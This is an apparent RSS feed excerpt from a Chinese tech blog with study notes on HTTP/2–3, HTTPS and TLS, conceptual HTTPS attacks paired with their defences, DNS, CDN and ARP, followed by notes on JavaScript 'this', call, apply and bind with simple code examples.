<p><strong>头部压缩</strong>：HTTP/2 使用 HPACK 算法对头部信息进行压缩，减少了冗余数据的传输，尤其是当多个请求使用相同的头部时，效果尤为显著。</p>
</li>
<li>
<p><strong>服务器推送</strong>：服务器可以主动向客户端推送可能会用到的资源（例如 CSS 或 JS 文件），即使客户端还没有请求这些资源。这样可以减少等待时间，加快页面加载速度。</p>
</li>
</ol>
<ul>
<li>局限性</li>
</ul>
<ol>
<li>
<p>虽然多路复用减少了队头阻塞，但 HTTP/2 仍然基于 TCP，TCP 连接的队头阻塞问题没有完全消除。</p>
</li>
<li>
<p>在网络丢包的情况下，TCP 的重传机制会导致整个连接中的所有数据都受到影响。</p>
</li>
<li>
<p>HTTP/3</p>
<ul>
<li>特点
<ol>
<li>
<p><strong>基于 QUIC 的传输协议</strong>：QUIC 是一种基于 UDP 的传输协议，它通过在用户态实现拥塞控制、重传等功能，减少了握手和延迟。QUIC 的最大特点是可以避免 TCP 的队头阻塞。</p>
</li>
<li>
<p><strong>更快的握手</strong>：QUIC 通过 0-RTT 和 1-RTT 的握手机制，实现了比 TCP 快得多的连接建立时间。传统的 TCP 需要三次握手，而 QUIC 可以在一次往返中建立连接，减少了延迟。</p>
</li>
<li>
<p><strong>独立的流</strong>：QUIC 协议允许在一个连接中传输多个独立的流，即使某个流中有数据丢失，其他流不会受到影响，从而彻底解决了 TCP 的队头阻塞问题。</p>
</li>
<li>
<p><strong>内置加密</strong>：与 HTTP/2 一样，HTTP/3 默认要求加密。QUIC 本身就内置了 TLS 加密功能，简化了加密过程，提高了安全性。</p>
</li>
</ol>
</li>
</ul>
</li>
</ol>
<ul>
<li>
<p>使用 UDP 而非 TCP的原因</p>
<ol>
<li>UDP 提供了更高的灵活性和效率</li>
<li>QUIC 协议通过在应用层实现流控、拥塞控制、加密等功能，避免了 TCP 的许多限制，如队头阻塞、慢速连接建立和复杂的中间设备干扰</li>
<li>QUIC 通过 UDP 实现了更快的连接建立、灵活的连接管理和更强的传输性能</li>
</ol>
</li>
<li>
<p>局限性：</p>
<ol>
<li><strong>部署复杂性</strong>：由于 HTTP/3 基于 QUIC，而 QUIC 使用 UDP 传输，因此需要服务器和网络设备对 UDP 有良好的支持。这对某些旧的网络基础设施可能带来挑战。</li>
</ol>
</li>
<li>
<p>HTTP/1.1、HTTP/2 和 HTTP/3 的对比</p>
</li>
</ul>
<table>
<thead>
<tr>
<th>特性</th>
<th>HTTP/1.1</th>
<th>HTTP/2</th>
<th>HTTP/3</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>协议类型</strong></td>
<td>文本协议</td>
<td>二进制协议</td>
<td>基于 QUIC（UDP）</td>
</tr>
<tr>
<td><strong>连接复用</strong></td>
<td>不支持</td>
<td>支持多路复用</td>
<td>支持多路复用</td>
</tr>
<tr>
<td><strong>队头阻塞</strong></td>
<td>存在（TCP 层）</td>
<td>存在（TCP 层）</td>
<td>彻底解决（基于 QUIC）</td>
</tr>
<tr>
<td><strong>头部压缩</strong></td>
<td>不支持</td>
<td>支持（HPACK）</td>
<td>支持（QPACK）</td>
</tr>
<tr>
<td><strong>服务器推送</strong></td>
<td>不支持</td>
<td>支持</td>
<td>支持</td>
</tr>
<tr>
<td><strong>加密</strong></td>
<td>可选</td>
<td>默认加密（基于 TLS）</td>
<td>默认加密（基于 QUIC 内置 TLS）</td>
</tr>
<tr>
<td><strong>握手延迟</strong></td>
<td>需要三次握手</td>
<td>需要三次握手</td>
<td>0-RTT 和 1-RTT 握手，延迟更低</td>
</tr>
</tbody>
</table>
<h3 id="http-和-https-区别">HTTP 和 HTTPS 区别</h3>
<ul>
<li>
<p>HTTPS 是在 HTTP 协议基础上实施 TLS 加密，所有网站以及其他部分 web 服务都使用该协议。因此，任何使用 HTTPS 的网站都使用 TLS 加密。</p>
</li>
<li>
<p>HTTPS目的</p>
<ol>
<li>数据加密</li>
<li>数据一致性</li>
<li>身份认证</li>
</ol>
</li>
<li>
<p>参考：</p>
<ul>
<li><a href="https://www.cloudflare.com/zh-cn/learning/ssl/why-is-http-not-secure/"  target="_blank" rel="noopener" >为什么 HTTP 不安全？| HTTP 与 HTTPS | Cloudflare</a></li>
<li><a href="https://czkm.github.io/2021/09/01/%E6%88%91HTTPS%E5%8F%AA%E4%B8%BA%E4%B8%89%E4%BB%B6%E4%BA%8B/"  target="_blank" rel="noopener" >我HTTPS只为三件事！ - 橙汁坤的博客 | czkm Blog</a></li>
<li><a href="https://blog.laisky.com/p/https-in-action/?lang=zh#gsc.tab=0"  target="_blank" rel="noopener" >HTTPS 隐私安全的一些实践</a></li>
</ul>
</li>
</ul>
<h3 id="https原理">HTTPS原理</h3>
<ul>
<li>
<p>依靠**TLS（传输层安全性协议）**来提供加密、认证和数据完整性。</p>
</li>
<li>
<p>加密通信</p>
<ul>
<li>HTTPS 使用对称加密和非对称加密结合的方式来加密通信：</li>
<li>非对称加密：在连接开始时，客户端和服务器通过非对称加密（公钥和私钥）进行握手。服务器提供一个公钥，客户端使用这个公钥加密信息，然后服务器用自己的私钥解密。由于公钥是公开的，而私钥是保密的，这确保了只有服务器能够解密加密的信息。</li>
<li>对称加密：握手过程中，双方会生成一个共享的会话密钥（对称密钥）。这个对称密钥用于接下来的通信，因为对称加密在处理大量数据时比非对称加密快得多。</li>
</ul>
</li>
<li>
<p>身份认证</p>
<ul>
<li>HTTPS 使用<strong>数字证书</strong>和**证书颁发机构（CA）**来验证服务器的身份，确保客户端正在与合法的服务器通信，而不是中间人攻击者。</li>
<li>数字证书：服务器必须提供一个受信任的数字证书，通常由一个可信的CA（如Let’s Encrypt、DigiCert等）签发。数字证书中包含了服务器的公钥和证书持有者的信息。</li>
<li>证书验证：客户端会检查这个证书是否由受信任的CA签发，是否有效，以及是否与服务器的域名匹配。如果证书有问题，浏览器会警告用户。</li>
</ul>
</li>
<li>
<p>数据完整性</p>
<ul>
<li>HTTPS 通过使用哈希函数（如 SHA256）来确保数据传输的完整性。具体来说，每个数据包都会附带一个哈希值，接收方可以通过这个哈希值验证数据是否在传输过程中被篡改。如果数据被篡改，哈希值将不匹配，通信会被终止。</li>
</ul>
</li>
<li>
<p>握手过程（TLS握手）</p>
<ol>
<li><strong>客户端Hello</strong>：客户端发送一个请求，包含可支持的加密算法、TLS版本等信息。</li>
<li><strong>服务器Hello</strong>：服务器响应，并发送数字证书和选择的加密算法。</li>
<li><strong>密钥交换</strong>：客户端使用服务器的公钥加密生成的会话密钥，并将其发送给服务器。服务器用私钥解密并获得该密钥。</li>
<li><strong>握手完成</strong>：双方开始使用会话密钥进行对称加密的通信。</li>
</ol>
</li>
</ul>
<h3 id="https缺陷sni">HTTPS缺陷(SNI)</h3>
<ul>
<li>ClientHello 中的 SNI(Server Name Indication)</li>
<li>GFW 基于 SNI 来掐断你的 HTTPS 握手</li>
<li>境内公有云基于 SNI 来阻断未备案的域名</li>
</ul>
<h3 id="https-攻击方式">HTTPS 攻击方式</h3>
<ol>
<li><strong>中间人攻击（Man-in-the-Middle Attack, MITM）</strong></li>
</ol>
<ul>
<li>攻击方法
<ul>
<li>恶意Wi-Fi热点：攻击者设置一个假冒的公共Wi-Fi热点，诱使用户连接，通过DNS劫持或使用不安全的HTTP版本，拦截流量。</li>
<li>恶意代理：在客户端与服务器之间，攻击者可能通过劫持代理服务器来解密和重新加密数据。</li>
</ul>
</li>
<li>防范措施：确保证书和域名验证正确，使用HSTS（HTTP Strict Transport Security）强制HTTPS连接，避免降级到不安全的HTTP。</li>
</ul>
<ol start="2">
<li><strong>SSL剥离攻击（SSL Stripping）</strong></li>
</ol>
<ul>
<li>SSL剥离攻击是中间人攻击的一种特殊形式，攻击者强迫客户端与服务器使用HTTP而不是HTTPS。攻击者拦截客户端请求，并将其重写为HTTP（即明文），然后在服务器和攻击者之间使用HTTPS。</li>
<li>攻击方法：用户尝试通过HTTP连接到网站，服务器重定向到HTTPS，但攻击者在重定向之前拦截并降级为HTTP。</li>
<li>防范措施：启用HSTS策略，它能确保浏览器在连接时始终使用HTTPS，并阻止降级为HTTP的攻击。</li>
</ul>
<ol start="3">
<li><strong>证书伪造或冒充攻击</strong></li>
</ol>
<ul>
<li>证书伪造：攻击者可能通过不安全的证书颁发机构（CA）或通过社会工程手段获得伪造的证书，假冒合法网站。</li>
<li>中间证书颁发机构滥用：如果中间证书颁发机构被攻击者控制，他们可能使用合法的中间证书签发虚假的证书。</li>
<li>防范措施：启用证书透明度（Certificate Transparency），它可以帮助检测和阻止伪造证书。现代浏览器会警告用户关于无效或伪造的证书。</li>
</ul>
<ol start="4">
<li><strong>降级攻击（Downgrade Attack）</strong></li>
</ol>
<ul>
<li>攻击方法: 攻击者强迫客户端和服务器使用较弱的加密算法或不安全的TLS版本（如SSL 3.0或TLS 1.0），以便更容易进行破解或解密。</li>
<li>防范措施：服务器应该禁用过时的SSL/TLS版本和弱加密算法（如RC4），并仅支持最新的TLS协议版本。</li>
</ul>
<ol start="5">
<li><strong>TLS重协商攻击</strong></li>
</ol>
<ul>
<li>攻击方法: TLS的重协商机制可能被攻击者利用，插入自己的数据到加密会话中，欺骗服务器认为这些数据来自合法的客户端。</li>
<li>防范措施：确保服务器和客户端都使用安全的TLS重协商机制，并打补丁修复已知漏洞。</li>
</ul>
<ol start="6">
<li><strong>恶意软件和浏览器劫持</strong></li>
</ol>
<ul>
<li>攻击方法：即使HTTPS保护了传输中的数据，攻击者仍然可能通过用户设备上的恶意软件或浏览器劫持绕过HTTPS。例如，某些恶意软件可以劫持浏览器流量，将用户重定向到虚假网站，即使启用了HTTPS。</li>
<li>防范措施：保持操作系统和软件的安全更新，使用防病毒软件，并提高用户安全意识。</li>
</ul>
<hr>
<h2 id="dns">DNS</h2>
<h3 id="dns-查询顺序">DNS 查询顺序</h3>
<ol>
<li>浏览器 DNS 缓存</li>
<li>浏览器调用 getaddrinfo() 查询数据，其中 getaddrinfo() 会根据如下顺序查询
<ol>
<li>先看 /etc/hosts 文件</li>
<li>通过主机名服务/mDNS 查询</li>
<li>通过 systemd-resolved 查询</li>
<li>最后通过 DHCP 下发的 DNS 查询</li>
<li>一级级往上查询直到根 DNS 服务器</li>
</ol>
</li>
</ol>
<h3 id="使用协议">使用协议</h3>
<ul>
<li>DNS在进行区域传输的时候使用TCP协议</li>
<li>其它时候则使用UDP协议</li>
<li>默认端口号: 53</li>
</ul>
<h3 id="dns安全">DNS安全</h3>
<ul>
<li><a href="https://blog.laisky.com/p/https-in-action/?lang=zh#gsc.tab=0"  target="_blank" rel="noopener" >HTTPS 隐私安全的一些实践</a></li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://scoolor.github.io/2018/11/10/dns-udp-tcp/"  target="_blank" rel="noopener" >DNS为什么既使用TCP又使用UDP？ | 为什么这么涛的个人博客</a></li>
<li><a href="https://nova.moe/rethink-type-url-dns/"  target="_blank" rel="noopener" >重新思考浏览器输入了 URL 并按下回车之后到底发生了什么——本地 DNS 部分 | Nova Kwok&rsquo;s Awesome Blog</a></li>
</ul>
<hr>
<h2 id="ssl--tls">SSL / TLS</h2>
<h3 id="ssl-secure-socket-layer">SSL (Secure Socket Layer)</h3>
<ul>
<li>安全套接字层</li>
</ul>
<h3 id="tls-transport-layer-security">TLS (Transport Layer Security)</h3>
<ul>
<li>SSL的升级版</li>
<li>作用
<ol>
<li>加密</li>
<li>身份验证</li>
<li>完整性</li>
</ol>
</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://www.cloudflare.com/zh-cn/learning/ssl/transport-layer-security-tls/"  target="_blank" rel="noopener" >什么是传输层安全性（TLS）？ | Cloudflare</a></li>
<li><a href="https://liuyib.github.io/2020/04/18/deep-study-ssl-tls/"  target="_blank" rel="noopener" >深入探究 SSL/TLS 协议 | Liuyib&rsquo;s Blog</a></li>
<li><a href="https://hijiangtao.github.io/2022/11/16/Dig-Out-All-Secrets-Behind-TLS-Certificate-One/"  target="_blank" rel="noopener" >网络安全科普：奇妙的 SSL/TLS 证书（基础篇） - Joe’s Blog</a></li>
<li><a href="https://hijiangtao.github.io/2022/10/09/Secure-Your-Browsing-Experience-with-More-Encrypted-Tools/"  target="_blank" rel="noopener" >TLS/ESNI/ECH/DoT/DoH/JA3 - 谈谈 HTTPS 网络下浏览体验安全性的最后缝隙 - Joe’s Blog</a></li>
<li><a href="https://hijiangtao.github.io/2022/11/16/Dig-Out-All-Secrets-Behind-TLS-Certificate-One/"  target="_blank" rel="noopener" >网络安全科普：奇妙的 SSL/TLS 证书（基础篇） - Joe’s Blog</a></li>
<li><a href="https://blog.laisky.com/p/https-in-action/?lang=zh#gsc.tab=0"  target="_blank" rel="noopener" >HTTPS 隐私安全的一些实践</a></li>
</ul>
<hr>
<h2 id="ipv4与ipv6">ipv4与ipv6</h2>
<ul>
<li>ipv6的环回地址: 0:0:0:0:0:0:0:1，通常也简写为::1</li>
<li>参考:
<ul>
<li><a href="https://wiki.zohead.com/%E6%8A%80%E6%9C%AF/%E7%BD%91%E7%BB%9C/IPv6%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86.md"  target="_blank" rel="noopener" >IPv6 基础知识 - Uranus&rsquo; Wiki</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="cdn">CDN</h2>
<ul>
<li>CDN（Content Delivery Network，内容分发网络）</li>
<li>CDN通过将内容缓存到全球多个节点（也称为边缘服务器）上，使得用户能够从最近的服务器获取数据，从而加快访问速度并减少延迟。</li>
<li>Amazon CloudFront 是 Amazon Web Services（AWS）提供的全球内容分发网络（CDN）服务</li>
</ul>
<hr>
<h2 id="待分类">待分类</h2>
<h3 id="网络包">网络包</h3>
<ul>
<li>参考
<ul>
<li><a href="https://plantegg.github.io/2019/05/15/%E5%B0%B1%E6%98%AF%E8%A6%81%E4%BD%A0%E6%87%82%E7%BD%91%E7%BB%9C--%E4%B8%80%E4%B8%AA%E7%BD%91%E7%BB%9C%E5%8C%85%E7%9A%84%E6%97%85%E7%A8%8B/"  target="_blank" rel="noopener" >就是要你懂网络&ndash;一个网络包的旅程 | plantegg</a></li>
</ul>
</li>
</ul>
<h3 id="轮询长轮询long-pollingwebsocket">轮询、长轮询（Long polling）、WebSocket</h3>
<ul>
<li>轮询：定期向服务器发出请求</li>
<li>长轮询过程
<ol>
<li>请求发送到服务器。</li>
<li>服务器在有消息之前不会关闭连接。</li>
<li>当消息出现时 —— 服务器将对其请求作出响应。</li>
<li>浏览器立即发出一个新的请求。</li>
</ol>
</li>
<li>WebSocket提供了一种在浏览器和服务器之间建立持久连接来交换数据的方法。数据可以作为“数据包”在两个方向上传递，而无需中断连接也无需额外的 HTTP 请求。</li>
<li>参考
<ul>
<li><a href="https://zh.javascript.info/long-polling"  target="_blank" rel="noopener" >长轮询（Long polling）</a></li>
<li><a href="https://zh.javascript.info/websocket"  target="_blank" rel="noopener" >WebSocket</a></li>
</ul>
</li>
</ul>
<h3 id="arp">ARP</h3>
<p>ARP（Address Resolution Protocol，地址解析协议）是用来将IP地址解析为MAC地址的协议。 主机或三层网络设备上会维护一张ARP表，用于存储IP地址和MAC地址的映射关系，一般ARP表项包括动态ARP表项和静态ARP表项。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之this</title>
      <link>https://ds63.eu.org/2024/javascript_points_of_this/</link>
      <pubDate>Thu, 10 Oct 2024 00:56:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/javascript_points_of_this/</guid>
      <description>自己学习过程中整理的关于JavaScript中this的知识点</description>
      <content:encoded><![CDATA[<h2 id="this的判断">this的判断</h2>
<h3 id="关键一">关键一</h3>
<ul>
<li><code>this</code>永远指向，（最内层）调用这个包含&quot;this&quot;关键字的函数的对象</li>
<li>也就是说: 无论在哪里找到方法：在一个对象还是在原型中。在一个方法调用中，this 始终是点符号<code>.</code>前面的对象</li>
<li>示例一
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">my_element</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;click&#34;</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">className</span><span class="p">);</span> <span class="c1">// 输出 my_element 的 className
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">currentTarget</span> <span class="o">===</span> <span class="k">this</span><span class="p">);</span> <span class="c1">// 输出 `true`
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">});</span>
</span></span></code></pre></div></li>
<li>示例二
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">user</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">name</span><span class="o">:</span> <span class="s2">&#34;John&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="nx">surname</span><span class="o">:</span> <span class="s2">&#34;Smith&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">set</span> <span class="nx">fullName</span><span class="p">(</span><span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">surname</span><span class="p">]</span> <span class="o">=</span> <span class="nx">value</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">get</span> <span class="nx">fullName</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sb">`</span><span class="si">${</span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="si">}</span><span class="sb"> </span><span class="si">${</span><span class="k">this</span><span class="p">.</span><span class="nx">surname</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">admin</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">__proto__</span><span class="o">:</span> <span class="nx">user</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="nx">isAdmin</span><span class="o">:</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span><span class="nx">admin</span><span class="p">.</span><span class="nx">fullName</span><span class="p">);</span> <span class="c1">// John Smith (*)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">// setter triggers!
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">admin</span><span class="p">.</span><span class="nx">fullName</span> <span class="o">=</span> <span class="s2">&#34;Alice Cooper&#34;</span><span class="p">;</span> <span class="c1">// (**)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span><span class="nx">admin</span><span class="p">.</span><span class="nx">fullName</span><span class="p">);</span> <span class="c1">// Alice Cooper，admin 的内容被修改了
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">alert</span><span class="p">(</span><span class="nx">user</span><span class="p">.</span><span class="nx">fullName</span><span class="p">);</span>  <span class="c1">// John Smith，user 的内容被保护了
</span></span></span></code></pre></div></li>
</ul>
<h3 id="关键二">关键二</h3>
<ul>
<li>如果函数在最外层直接运行，默认绑定的对象是 window</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">test</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">a</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">test</span><span class="p">();</span> <span class="c1">//undefined
</span></span></span></code></pre></div></li>
</ul>
<h3 id="补充">补充</h3>
<ul>
<li>对象不构成单独的作用域，而函数有。</li>
<li>In arrow functions, <code>this</code> retains the value of the enclosing lexical context&rsquo;s <code>this</code>.</li>
<li>箭头函数的this，一旦确定后是不可直接更改的，但可间接更改，示例：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">test</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">);</span> <span class="c1">// 这里箭头函数的this指向test()的this
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">aa</span><span class="o">:</span> <span class="mi">123</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">rr</span> <span class="o">=</span> <span class="nx">test</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">obj</span><span class="p">);</span> <span class="c1">// test()的this被修改了，导致箭头函数的也跟着修改了
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">rr</span><span class="p">,</span><span class="mi">1000</span><span class="p">);</span> <span class="c1">// obj ，而不是window; 因为箭头函数rr的this已经确定了，后面不能更改
</span></span></span></code></pre></div></li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/25349790"  target="_blank" rel="noopener" >Javascript ：this关键字 详解 - 知乎</a></li>
<li><a href="https://segmentfault.com/a/1190000039881063"  target="_blank" rel="noopener" >javascript - 关于箭头函数里的this - 个人文章 - SegmentFault 思否</a></li>
<li><a href="https://muyiy.cn/blog/3/3.2.html"  target="_blank" rel="noopener" >JavaScript深入之重新认识箭头函数的this | 木易杨前端进阶</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/this"  target="_blank" rel="noopener" >this - JavaScript | MDN</a></li>
<li><a href="https://zh.javascript.info/reference-type"  target="_blank" rel="noopener" >Reference Type</a></li>
</ul>
<hr>
<h2 id="callbindapply">call、bind、apply</h2>
<h3 id="apply">apply</h3>
<ul>
<li>接受两个参数，第一个参数是this的指向，第二个参数是函数接受的参数，以<strong>数组</strong>的形式传入,<strong>必须一次性传入所有参数</strong></li>
<li>当第一个参数为null、undefined的时候，默认指向window(在浏览器中)</li>
<li>改变this指向后原函数会<strong>立即执行</strong>，且此方法只是临时改变thi指向一次。</li>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">arr</span><span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">max</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="nx">arr</span><span class="p">));</span> <span class="c1">//10
</span></span></span></code></pre></div></li>
</ul>
<h3 id="call">call</h3>
<ul>
<li>接受两个参数，第一个参数是this的指向，第二个参数是函数接受的参数，以<strong>参数列表</strong>的形式传入,<strong>必须一次性传入所有参数</strong></li>
<li>当第一个参数为null、undefined的时候，默认指向window(在浏览器中)</li>
<li>改变this指向后原函数会<strong>立即执行</strong>，且此方法只是临时改变this指向一次。</li>
<li>示例：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">arr</span><span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">max</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="nx">arr</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">4</span><span class="p">]));</span> <span class="c1">//10
</span></span></span></code></pre></div></li>
</ul>
<h3 id="bind">bind</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/bind"  target="_blank" rel="noopener" >Function.prototype.bind() - JavaScript | MDN</a></li>
<li>接受两个参数，第一个参数是this的指向，如果函数不在严格模式下，null 和 undefined 会被替换为全局对象;</li>
<li>第二个参数是函数接受的参数，以<strong>参数列表</strong>的形式传入,<strong>可以分多次传入</strong></li>
<li>改变this指向后<strong>不会立即执行</strong>，而是返回一个<strong>永久改变this指向的函数</strong></li>
<li>可以<strong>二次传参</strong>，但新绑定的 thisArg 值会被忽略</li>
<li>示例：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">arr</span><span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">12</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">max</span><span class="o">=</span><span class="nb">Math</span><span class="p">.</span><span class="nx">max</span><span class="p">.</span><span class="nx">bind</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="nx">arr</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="nx">arr</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">max</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">4</span><span class="p">]));</span> <span class="c1">//12，分两次传参
</span></span></span></code></pre></div></li>
<li>简易实现
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Function</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">bind</span><span class="o">=</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">_this</span><span class="o">=</span><span class="k">this</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">context</span><span class="o">=</span><span class="nx">arguments</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">arg</span><span class="o">=</span><span class="p">[].</span><span class="nx">slice</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">arguments</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span> <span class="c1">//将函数调用时传入的参数转换为数组，并且去掉了第一个参数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="nx">arg</span><span class="o">=</span><span class="p">[].</span><span class="nx">concat</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">arg</span><span class="p">,</span><span class="nx">arguments</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">_this</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">context</span><span class="p">,</span><span class="nx">arg</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
